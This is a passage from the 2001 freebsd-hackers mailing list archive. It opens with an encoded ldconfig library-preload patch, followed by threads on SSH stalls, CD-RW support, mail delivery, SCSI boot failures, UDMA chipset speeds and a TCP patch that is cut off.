dAkJIG5wcmVsb2FkczsNCiBpbnQJCQkgaW5zZWN1cmU7DQogDQogc3RhdGlj IHZvaWQNCithZGRfcHJlbG9hZChjb25zdCBjaGFyICpoaW50c2ZpbGUsIGNv bnN0IGNoYXIgKm5hbWUsIGludCB0cnVzdGVkKQ0KK3sNCisJc3RydWN0IHN0 YXQJc3RidWY7DQorCWludAkJaTsNCisNCisJaWYgKCF0cnVzdGVkICYmICFp bnNlY3VyZSkgew0KKwkJaWYgKHN0YXQobmFtZSwgJnN0YnVmKSA9PSAtMSkg ew0KKwkJCXdhcm4oIiVzIiwgbmFtZSk7DQorCQkJcmV0dXJuOw0KKwkJfQ0K KwkJaWYgKHN0YnVmLnN0X3VpZCAhPSAwKSB7DQorCQkJd2FybngoIiVzOiBp Z25vcmluZyBsaWJyYXJ5IG5vdCBvd25lZCBieSByb290IiwgbmFtZSk7DQor CQkJcmV0dXJuOw0KKwkJfQ0KKwkJaWYgKChzdGJ1Zi5zdF9tb2RlICYgU19J V09USCkgIT0gMCkgew0KKwkJCXdhcm54KCIlczogaWdub3Jpbmcgd29ybGQt d3JpdGFibGUgbGlicmFyeSIsIG5hbWUpOw0KKwkJCXJldHVybjsNCisJCX0N CisJCWlmICgoc3RidWYuc3RfbW9kZSAmIFNfSVdHUlApICE9IDApIHsNCisJ CQl3YXJueCgiJXM6IGlnbm9yaW5nIGdyb3VwLXdyaXRhYmxlIGRpcmVjdG9y eSIsIG5hbWUpOw0KKwkJCXJldHVybjsNCisJCX0NCisJfQ0KKw0KKwlmb3Ig KGkgPSAwOyAgaSA8IG5wcmVsb2FkczsgaSsrKQ0KKwkJaWYgKHN0cmNtcChw cmVsb2Fkc1tpXSwgbmFtZSkgPT0gMCkNCisJCQlyZXR1cm47DQorCWlmIChu cHJlbG9hZHMgPj0gTUFYUFJFTE9BRFMpDQorCQllcnJ4KDEsICJcIiVzXCI6 IFRvbyBtYW55IHByZWxvYWRlZCBsaWJyYXJpZXMiLCBoaW50c2ZpbGUpOw0K KwlwcmVsb2Fkc1tucHJlbG9hZHMrK10gPSBuYW1lOw0KK30NCisNCisNCitz dGF0aWMgdm9pZA0KIGFkZF9kaXIoY29uc3QgY2hhciAqaGludHNmaWxlLCBj b25zdCBjaGFyICpuYW1lLCBpbnQgdHJ1c3RlZCkNCiB7DQogCXN0cnVjdCBz dGF0IAlzdGJ1ZjsNCkBAIC05Nyw2ICsxMzUsMTAgQEANCiANCiAJcmVhZF9l bGZfaGludHMoaGludHNmaWxlLCAxKTsNCiAJcHJpbnRmKCIlczpcbiIsIGhp bnRzZmlsZSk7DQorCXByaW50ZigiXHRwcmVsb2FkZWQgbGlicmFyaWVzOiIp Ow0KKwlmb3IgKGkgPSAwOyAgaSA8IG5wcmVsb2FkczsgIGkrKykNCisJCXBy aW50ZigiJWMlcyIsIGkgPT0gMCA/ICcgJyA6ICc6JywgcHJlbG9hZHNbaV0p Ow0KKwlwcmludGYoIlxuIik7DQogCXByaW50ZigiXHRzZWFyY2ggZGlyZWN0 b3JpZXM6Iik7DQogCWZvciAoaSA9IDA7ICBpIDwgbmRpcnM7ICBpKyspDQog CQlwcmludGYoIiVjJXMiLCBpID09IDAgPyAnICcgOiAnOicsIGRpcnNbaV0p Ow0KQEAgLTE5Miw2ICsyMzQsNyBAQA0KIAlzdHJ1Y3QgZWxmaGludHNfaGRy CSpoZHI7DQogCWNoYXIJCQkqc3RydGFiOw0KIAljaGFyCQkJKmRpcmxpc3Q7 DQorCWNoYXIJCQkqcHJlbG9hZGxpc3Q7DQogCWNoYXIJCQkqcDsNCiANCiAJ aWYgKChmZCA9IG9wZW4oaGludHNmaWxlLCBPX1JET05MWSkpID09IC0xKSB7 DQpAQCAtMjIyLDE5ICsyNjUsNDcgQEANCiANCiAJc3RydGFiID0gKGNoYXIg KiltYXBiYXNlICsgaGRyLT5zdHJ0YWI7DQogCWRpcmxpc3QgPSBzdHJ0YWIg KyBoZHItPmRpcmxpc3Q7DQorCXByZWxvYWRsaXN0ID0gc3RydGFiICsgaGRy LT5wcmVsb2FkbGlzdDsNCiANCiAJaWYgKCpkaXJsaXN0ICE9ICdcMCcpDQog CQl3aGlsZSAoKHAgPSBzdHJzZXAoJmRpcmxpc3QsICI6IikpICE9IE5VTEwp DQogCQkJYWRkX2RpcihoaW50c2ZpbGUsIHAsIDEpOw0KK3ByaW50ZigiJWQg ZGlycyBsb2FkZWRcbiIsIG5kaXJzKTsNCisJaWYgKCpwcmVsb2FkbGlzdCAh PSAnXDAnICYmIGhkci0+cHJlbG9hZGxpc3RsZW4gIT0gMCkNCisJCXdoaWxl ICgocCA9IHN0cnNlcCgmcHJlbG9hZGxpc3QsICI6IikpICE9IE5VTEwpDQor CQkJYWRkX3ByZWxvYWQoaGludHNmaWxlLCBwLCAxKTsNCitwcmludGYoIiVk IHByZWxvYWRzIGxvYWRlZFxuIiwgbnByZWxvYWRzKTsNCiB9DQogDQogdm9p ZA0KLXVwZGF0ZV9lbGZfaGludHMoY29uc3QgY2hhciAqaGludHNmaWxlLCBp bnQgYXJnYywgY2hhciAqKmFyZ3YsIGludCBtZXJnZSkNCit1cGRhdGVfZWxm X3ByZWxvYWRzKGNvbnN0IGNoYXIgKmhpbnRzZmlsZSwgaW50IGFyZ2MsIGNo YXIgKiphcmd2LCBpbnQgbWVyZ2UpDQogew0KIAlpbnQJaTsNCiANCi0JaWYg KG1lcmdlKQ0KLQkJcmVhZF9lbGZfaGludHMoaGludHNmaWxlLCAwKTsNCisJ cmVhZF9lbGZfaGludHMoaGludHNmaWxlLCAwKTsNCisJaWYgKCFtZXJnZSkN CisJCW5wcmVsb2FkcyA9IDA7DQorCWZvciAoaSA9IDA7ICBpIDwgYXJnYzsg IGkrKykgew0KKwkJc3RydWN0IHN0YXQJczsNCisNCisJCWlmIChzdGF0KGFy Z3ZbaV0sICZzKSA9PSAtMSkNCisJCQl3YXJuKCJ3YXJuaW5nOiAlcyIsIGFy Z3ZbaV0pOw0KKwkJZWxzZSBpZiAoIVNfSVNSRUcocy5zdF9tb2RlKSkNCisJ CQl3YXJuKCJub3QgYSByZWd1bGFyIGZpbGU6ICVzIiwgYXJndltpXSk7DQor CQllbHNlDQorCQkJYWRkX3ByZWxvYWQoaGludHNmaWxlLCBhcmd2W2ldLCAw KTsNCisJfQ0KKwl3cml0ZV9lbGZfaGludHMoaGludHNmaWxlKTsNCit9DQor DQordm9pZA0KK3VwZGF0ZV9lbGZfZGlycyhjb25zdCBjaGFyICpoaW50c2Zp bGUsIGludCBhcmdjLCBjaGFyICoqYXJndiwgaW50IG1lcmdlKQ0KK3sNCisJ aW50CWk7DQorcHJpbnRmKCJ1cGRhdGVfZWxmX2RpcnNcbiIpOwkNCisJcmVh ZF9lbGZfaGludHMoaGludHNmaWxlLCAwKTsNCisJaWYgKCFtZXJnZSkNCisJ CW5kaXJzID0gMDsNCiAJZm9yIChpID0gMDsgIGkgPCBhcmdjOyAgaSsrKSB7 DQogCQlzdHJ1Y3Qgc3RhdAlzOw0KIA0KQEAgLTI3MSw2ICszNDIsOCBAQA0K IAloZHIuc3RydGFiID0gc2l6ZW9mIGhkcjsNCiAJaGRyLnN0cnNpemUgPSAw Ow0KIAloZHIuZGlybGlzdCA9IDA7DQorCWhkci5wcmVsb2FkbGlzdGxlbiA9 IDA7DQorDQogCW1lbXNldChoZHIuc3BhcmUsIDAsIHNpemVvZiBoZHIuc3Bh cmUpOw0KIA0KIAkvKiBDb3VudCB1cCB0aGUgc2l6ZSBvZiB0aGUgc3RyaW5n IHRhYmxlLiAqLw0KQEAgLTI4MSw2ICszNTQsMTYgQEANCiAJfQ0KIAloZHIu ZGlybGlzdGxlbiA9IGhkci5zdHJzaXplOw0KIAloZHIuc3Ryc2l6ZSsrOwkv KiBGb3IgdGhlIG51bGwgdGVybWluYXRvciAqLw0KKwloZHIucHJlbG9hZGxp c3QgPSBoZHIuc3Ryc2l6ZTsNCisNCisJaWYgKG5wcmVsb2FkcyA+IDApIHsN CisJCWhkci5wcmVsb2FkbGlzdGxlbiArPSBzdHJsZW4ocHJlbG9hZHNbMF0p Ow0KKwkJZm9yIChpID0gMTsgIGkgPCBucHJlbG9hZHM7ICBpKyspDQorCQkJ aGRyLnByZWxvYWRsaXN0bGVuICs9IDEgKyBzdHJsZW4ocHJlbG9hZHNbaV0p Ow0KKwl9DQorDQorCWhkci5zdHJzaXplICs9IGhkci5wcmVsb2FkbGlzdGxl bjsNCisJaGRyLnN0cnNpemUrKzsJLyogRm9yIHRoZSBudWxsIHRlcm1pbmF0 b3IgKi8NCiANCiAJLyogV3JpdGUgdGhlIGhlYWRlci4gKi8NCiAJaWYgKGZ3 cml0ZSgmaGRyLCAxLCBzaXplb2YgaGRyLCBmcCkgIT0gc2l6ZW9mIGhkcikN CkBAIC0yOTMsNiArMzc2LDE3IEBADQogCQkJaWYgKGZwcmludGYoZnAsICI6 JXMiLCBkaXJzW2ldKSA8IDApDQogCQkJCWVycigxLCAiJXM6IHdyaXRlIGVy cm9yIiwgdGVtcG5hbWUpOw0KIAl9DQorCWlmIChwdXRjKCdcMCcsIGZwKSA9 PSBFT0YpDQorCQllcnIoMSwgIiVzOiB3cml0ZSBlcnJvciIsIHRlbXBuYW1l KTsNCisNCisJaWYgKG5wcmVsb2FkcyA+IDApIHsNCisJCWlmIChmcHV0cyhw cmVsb2Fkc1swXSwgZnApID09IEVPRikNCisJCQllcnIoMSwgIiVzOiB3cml0 ZSBlcnJvciIsIHRlbXBuYW1lKTsNCisJCWZvciAoaSA9IDE7ICBpIDwgbnBy ZWxvYWRzOyAgaSsrKQ0KKwkJCWlmIChmcHJpbnRmKGZwLCAiOiVzIiwgcHJl bG9hZHNbaV0pIDwgMCkNCisJCQkJZXJyKDEsICIlczogd3JpdGUgZXJyb3Ii LCB0ZW1wbmFtZSk7DQorCX0NCisNCiAJaWYgKHB1dGMoJ1wwJywgZnApID09 IEVPRiB8fCBmY2xvc2UoZnApID09IEVPRikNCiAJCWVycigxLCAiJXM6IHdy aXRlIGVycm9yIiwgdGVtcG5hbWUpOw0KIA0KLS0tIHNiaW4vbGRjb25maWcv bGRjb25maWcuOH4JU2F0IERlYyAgMSAwMDowNToyMCAyMDAxDQorKysgc2Jp bi9sZGNvbmZpZy9sZGNvbmZpZy44CVNhdCBEZWMgIDEgMDA6MDQ6MTMgMjAw MQ0KQEAgLTM4LDcgKzM4LDcgQEANCiAuU2ggU1lOT1BTSVMNCiAuTm0NCiAu T3AgRmwgYW91dCB8IEZsIGVsZg0KLS5PcCBGbCBSaW1yc3YNCisuT3AgRmwg UmltcnN2cA0KIC5PcCBGbCBmIEFyIGhpbnRzX2ZpbGUNCiAuT3AgQXIgZGly ZWN0b3J5IHwgQXINCiAuU2ggREVTQ1JJUFRJT04NCkBAIC0xMjgsNiArMTI4 LDggQEANCiBmb3Igc2hhcmVkIGxpYnJhcmllcy4NCiAuSXQgRmwgdg0KIFN3 aXRjaCBvbiB2ZXJib3NlIG1vZGUuDQorLkl0IEZsIHANCitUaGUgYXJndW1l bnRzIGFyZSB0YWtlbiB0byBiZSBsaWJyYXJpZXMgdG8gZ2xvYmFsbHkgcHJl bG9hZC4NCiAuRWwNCiAuU2ggU2VjdXJpdHkNCiBTcGVjaWFsIGNhcmUgbXVz dCBiZSB0YWtlbiB3aGVuIGxvYWRpbmcgc2hhcmVkIGxpYnJhcmllcyBpbnRv IHRoZSBhZGRyZXNzDQo= --0-858320923-1007195092=:72815-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 0:46:10 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 82ACB37B417 for ; Sat, 1 Dec 2001 00:46:06 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB18k4i30686; Sat, 1 Dec 2001 00:46:04 -0800 (PST) (envelope-from dillon) Date: Sat, 1 Dec 2001 00:46:04 -0800 (PST) From: Matthew Dillon Message-Id: <200112010846.fB18k4i30686@apollo.backplane.com> To: Tomas Svensson Cc: Josef Karthauser , freebsd-hackers@FreeBSD.ORG Subject: Re: SSH stalls (was: FreeBSD performing worse than Linux?) References: <20011201032622.A18737@simba.systemteknik.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I haven't been able to reproduce this. Two things, though... (1) are you using a compressed ssh connection or an uncompressed connection? It makes a big difference in regards to how ssh generates packet data. 'ls' contains a lot of repetitive data and compresses well. (2) Also are you using an xterm or an aterm? aterm will skip terminal data until the flow stops if it receives it quickly enough, not displaying anything until it 'hicups' at the end. xterm will sync the display up every so often when receiving a continuous stream. So if you are using aterm it could appear as though the connection has stalled when, in fact, it is actually running full bore and aterm is waiting for things to slow down. For example, when I run a program that spits out abcdefgh...zabcdefgh... etc to the terminal, and run it on an aterm, it seems to stall every so often. But if I run it on an xterm the output appears smooth. -Matt :JK> Is this the same problem that I experience on ssh connections between :JK> my 5.0-current laptop and my releng_4 server? When I run an 'ls' :JK> from the shell on large directories I get the response back block :JK> delay block delay block. I assumed that it was a problem with :JK> -current. : :I am quite sure that this is a problem introduced in OpenSSH v2.5 or :earlier. When I upgraded a FreeBSD 4.2 box from OpenSSH v2.2.0 to a :newer version (I don't remember exactly which one now) I noticed this :stalling which had never appeared before. If I used SSH Inc ssh-2.4 :there was no stalling. It's not FreeBSD-specific either: I am :trying this now on a NetBSD 1.5.1 that has OpenSSH v2.5.2 and if I :do ten ls -l as fast as I can, I get 14 retransmitted packets and :stalling. If I try the same with SSH Inc ssh-3.0.0 I get no :retransmitted packets. Strangely enough I get no stalling on either :sshd if I cat a 3 megabyte text... : :-Tomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 0:56:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 7407137B417 for ; Sat, 1 Dec 2001 00:56:28 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 1 Dec 2001 08:56:27 +0000 (GMT) Date: Sat, 1 Dec 2001 08:56:26 +0000 From: David Malone To: Matthew Cc: hackers@FreeBSD.ORG Subject: Re: need cdrw info Message-ID: <20011201085626.A95491@walton.maths.tcd.ie> References: <002201c17a3d$bd7f12e0$6503c23f@fire> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <002201c17a3d$bd7f12e0$6503c23f@fire>; from matthew@netsol.net on Sat, Dec 01, 2001 at 07:56:51AM -0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Dec 01, 2001 at 07:56:51AM -0000, Matthew wrote: > any one know if there's supported IDE cdrw for freebsd4.1? Any software on > FBSD4.1 to do the cdrw work? Most IDE cdrw drives should work. Have a look at "man burncd" - It claims to having been there since 4.0. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 1:40:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id E282D37B416 for ; Sat, 1 Dec 2001 01:40:08 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id BAA29032; Sat, 1 Dec 2001 01:21:04 -0800 (PST) Date: Sat, 1 Dec 2001 01:21:04 -0800 (PST) From: Julian Elischer To: Peter Wemm Cc: hackers@FreeBSD.ORG Subject: Re: who is "postmaster"? In-Reply-To: <20011201004702.95832380D@overcee.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG thanks.. That's quite amazing.. On Fri, 30 Nov 2001, Peter Wemm wrote: > Julian Elischer wrote: > > > > I've tried getting information about our (FreeBSD) mail > > system by mailing to "postmaster" but no-one answers.. > > > > so, who IS the postmaster at the moment? > > > > I have the .elischer.org domain set up at Netowrk solutions > > with a contact address of "julian@freebsd.org" > > however whenever I try change anything in the setup it > > sends an "Austhorize this" email to the registered > > email address (julian@freebsd.org). However they > > never turn up in my mailbox so I can't do anything > > (like change the contact email address :-) to maintian > > my domain. Is freebsd.org throwing away mail from > > network solutions? (are they blackhole'd?) > > Would you believe me if I told you that Network Solutions dont know > how to configure the DNS on their systems? > > peter@hub[4:39pm]/etc/postfix-58# host opsmail.prod.netsol.com > Host not found. > > Anyway, I have added a "special" override to allow network solutions' > misconfigured systems to send mail. > > Cheers, > -Peter > -- > Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au > "All of this is for nothing if we don't go to the stars" - JMS/B5 > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 2: 2:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from hotmail.com (f169.law11.hotmail.com [64.4.17.169]) by hub.freebsd.org (Postfix) with ESMTP id 6962137B417 for ; Sat, 1 Dec 2001 02:02:25 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 1 Dec 2001 02:02:25 -0800 Received: from 209.132.114.131 by lw11fd.law11.hotmail.msn.com with HTTP; Sat, 01 Dec 2001 10:02:24 GMT X-Originating-IP: [209.132.114.131] From: "Joesh Juphland" To: freebsd-hackers@freebsd.org Subject: problems installing on scsi disks ? Date: Sat, 01 Dec 2001 03:02:24 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 01 Dec 2001 10:02:25.0241 (UTC) FILETIME=[46D45490:01C17A4F] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Vanilla x86 system with two identical scsi disks attached to a single 2940. Installation is flawless - in custom install, I choose da0 and then da1, one after the other, to partition. Again, I say, installation goes flawlessly. When the system boots though, it cannot get past the boot manager. I wait for it to time out and go to the default option, but it just beeps. Any attempt to hit enter, or f1, or f5, yields another beep. It will not boot. So, over five successive reloads, I have tried bootloader on da0, nothing on da1, bootloader on both, normal loader on da0, nothing on da1, and normal loader on both. No matter what combo I try with these two, it will not boot when I partition and label these two disks. It just gives me f1 and f5 choices, and hangs forever. (or, when I chose to put the loader but NOT the boot manager on both disks, it just comes up saying "missing operating system) Also there are no silly scsi problems like ID conflict or bios not set to boot scsi or whatever. It is set to boot scsi just fine, and we know the disks, etc. are working since the installation goes without a hitch. Any ideas why I cannot do a simple install onto very plain hardware and disks ? thanks, Joesh _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 2:12:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from arrakis.niedermayer.com (dial-214.digitel2002.hu [213.163.2.214]) by hub.freebsd.org (Postfix) with ESMTP id 91D9E37B417 for ; Sat, 1 Dec 2001 02:12:21 -0800 (PST) Received: from [fec0:ff:0:5::2] (helo=niedermayer.com) by arrakis.niedermayer.com with esmtp (Exim 3.33 #1) id 16A79I-0000Br-00 for freebsd-hackers@FreeBSD.ORG; Sat, 01 Dec 2001 11:13:32 +0100 Received: (qmail 730 invoked by uid 1003); 1 Dec 2001 10:13:31 -0000 Date: Sat, 1 Dec 2001 11:13:31 +0100 From: Miklos Niedermayer To: Greg Lehey Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011201111331.A449@bsd.hu> Mail-Followup-To: Greg Lehey , freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <3C07FCFF.4070008@ns.aus.com> <20011201140741.J611@monorchid.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011201140741.J611@monorchid.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, On Sat, Dec 01, 2001 at 02:07:41PM +1030, Greg Lehey wrote: > > so my drive is now running at UDMA 100. > > Can you send me dmesg output? In particular, I had a printf output > there to show what the BIOS had set. > > Background for other people: Richard has an IDE chip which claims to > be a SiS 5591, which according to the data sheet can't do better than > UDMA 33. When he runs Linux on the box, however, it claims to be > running at UDMA 100, and this hack seems to have had the same effect. Is this patch available somewhere, or could you send it to me? I have the same chipset on an Asus Athlon mobo: atapci0: port 0xd800-0xd80f at device 0.1 on pci0 And yes, Linux can run it at UDMA100, and the printed datasheet of the board says it's an UDMA100-capable chip. (The SiS doc says UDMA33). Thanks ______ o _. __ / / / (_(_(__(_) @ bsd.hu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 2:15:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id A923137B416 for ; Sat, 1 Dec 2001 02:15:13 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id C42ACA2; Sat, 1 Dec 2001 10:15:04 +0000 (GMT) Date: Sat, 1 Dec 2001 10:15:04 +0000 From: Josef Karthauser To: Tomas Svensson Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: SSH stalls (was: FreeBSD performing worse than Linux?) Message-ID: <20011201101504.B492@tao.org.uk> Mail-Followup-To: Josef Karthauser , Tomas Svensson , freebsd-hackers@FreeBSD.ORG References: <20011201032622.A18737@simba.systemteknik.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="DIOMP1UsTsWJauNi" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011201032622.A18737@simba.systemteknik.net>; from tsn@gbdev.net on Sat, Dec 01, 2001 at 03:26:22AM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --DIOMP1UsTsWJauNi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Dec 01, 2001 at 03:26:22AM +0100, Tomas Svensson wrote: > JK> Is this the same problem that I experience on ssh connections between > JK> my 5.0-current laptop and my releng_4 server? When I run an 'ls' > JK> from the shell on large directories I get the response back block > JK> delay block delay block. I assumed that it was a problem with > JK> -current. >=20 > I am quite sure that this is a problem introduced in OpenSSH v2.5 or > earlier. When I upgraded a FreeBSD 4.2 box from OpenSSH v2.2.0 to a > newer version (I don't remember exactly which one now) I noticed this > stalling which had never appeared before. If I used SSH Inc ssh-2.4 > there was no stalling. It's not FreeBSD-specific either: I am > trying this now on a NetBSD 1.5.1 that has OpenSSH v2.5.2 and if I > do ten ls -l as fast as I can, I get 14 retransmitted packets and > stalling. If I try the same with SSH Inc ssh-3.0.0 I get no > retransmitted packets. Strangely enough I get no stalling on either > sshd if I cat a 3 megabyte text... Yes you're right. I reenabled telnetd and the problem doesn't exist there. It's definitely an ssh problem. Joe --DIOMP1UsTsWJauNi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjwIragACgkQXVIcjOaxUBZN7QCfa/l2D2siHcws1rO+IaEPmRRv N1AAoJ7RNYr+7y6qDODpOhVU2lKUOw0J =sNX1 -----END PGP SIGNATURE----- --DIOMP1UsTsWJauNi-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 2:17:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id E532637B417 for ; Sat, 1 Dec 2001 02:17:13 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id 7C47DA2; Sat, 1 Dec 2001 10:17:05 +0000 (GMT) Date: Sat, 1 Dec 2001 10:17:05 +0000 From: Josef Karthauser To: Matthew Dillon Cc: Tomas Svensson , freebsd-hackers@FreeBSD.ORG Subject: Re: SSH stalls (was: FreeBSD performing worse than Linux?) Message-ID: <20011201101705.A2917@tao.org.uk> Mail-Followup-To: Josef Karthauser , Matthew Dillon , Tomas Svensson , freebsd-hackers@FreeBSD.ORG References: <20011201032622.A18737@simba.systemteknik.net> <200112010846.fB18k4i30686@apollo.backplane.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="vtzGhvizbBRQ85DL" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200112010846.fB18k4i30686@apollo.backplane.com>; from dillon@apollo.backplane.com on Sat, Dec 01, 2001 at 12:46:04AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Dec 01, 2001 at 12:46:04AM -0800, Matthew Dillon wrote: > I haven't been able to reproduce this. Two things, though... (1) are > you using a compressed ssh connection or an uncompressed connection? > It makes a big difference in regards to how ssh generates packet data. > 'ls' contains a lot of repetitive data and compresses well. Compression: blowfish I believe. =20 > (2) Also are you using an xterm or an aterm? aterm will skip termina= l=20 > data until the flow stops if it receives it quickly enough, not displ= aying > anything until it 'hicups' at the end. xterm will sync the display up > every so often when receiving a continuous stream. So if you are usi= ng > aterm it could appear as though the connection has stalled when, in f= act, > it is actually running full bore and aterm is waiting for things to s= low > down. rxvt. =20 Joe --vtzGhvizbBRQ85DL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjwIriAACgkQXVIcjOaxUBY4qwCg7oyqFE4wo26W5k8Xr+E3WTM4 fk0AoNjeM1zNN2vL8AJjK2nHojZGJHQr =94Uy -----END PGP SIGNATURE----- --vtzGhvizbBRQ85DL-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 4: 0:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cu518.adelaide.adsl.on.net (cu518.adelaide.adsl.on.net [150.101.236.10]) by hub.freebsd.org (Postfix) with ESMTP id 6C6E937B405 for ; Sat, 1 Dec 2001 04:00:35 -0800 (PST) Received: from ns.aus.com (laptop.ns.aus.com [10.0.2.6]) by cu518.adelaide.adsl.on.net (8.11.0/8.11.0) with ESMTP id fB1E88708900; Sun, 2 Dec 2001 00:38:08 +1030 Message-ID: <3C08CF9D.2030109@ns.aus.com> Date: Sat, 01 Dec 2001 23:09:57 +1030 From: Richard Sharpe Reply-To: rsharpe@ns.aus.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010917 X-Accept-Language: en-us MIME-Version: 1.0 To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon wrote: > Index: tcp_output.c > =================================================================== > RCS file: /home/ncvs/src/sys/netinet/tcp_output.c,v > retrieving revision 1.39.2.10 > diff -u -r1.39.2.10 tcp_output.c > --- tcp_output.c 2001/07/07 04:30:38 1.39.2.10 > +++ tcp_output.c 2001/11/30 21:18:10 > @@ -912,7 +912,14 @@ > tp->t_flags &= ~TF_ACKNOW; > if (tcp_delack_enabled) > callout_stop(tp->tt_delack); > +#if 0 > + /* > + * 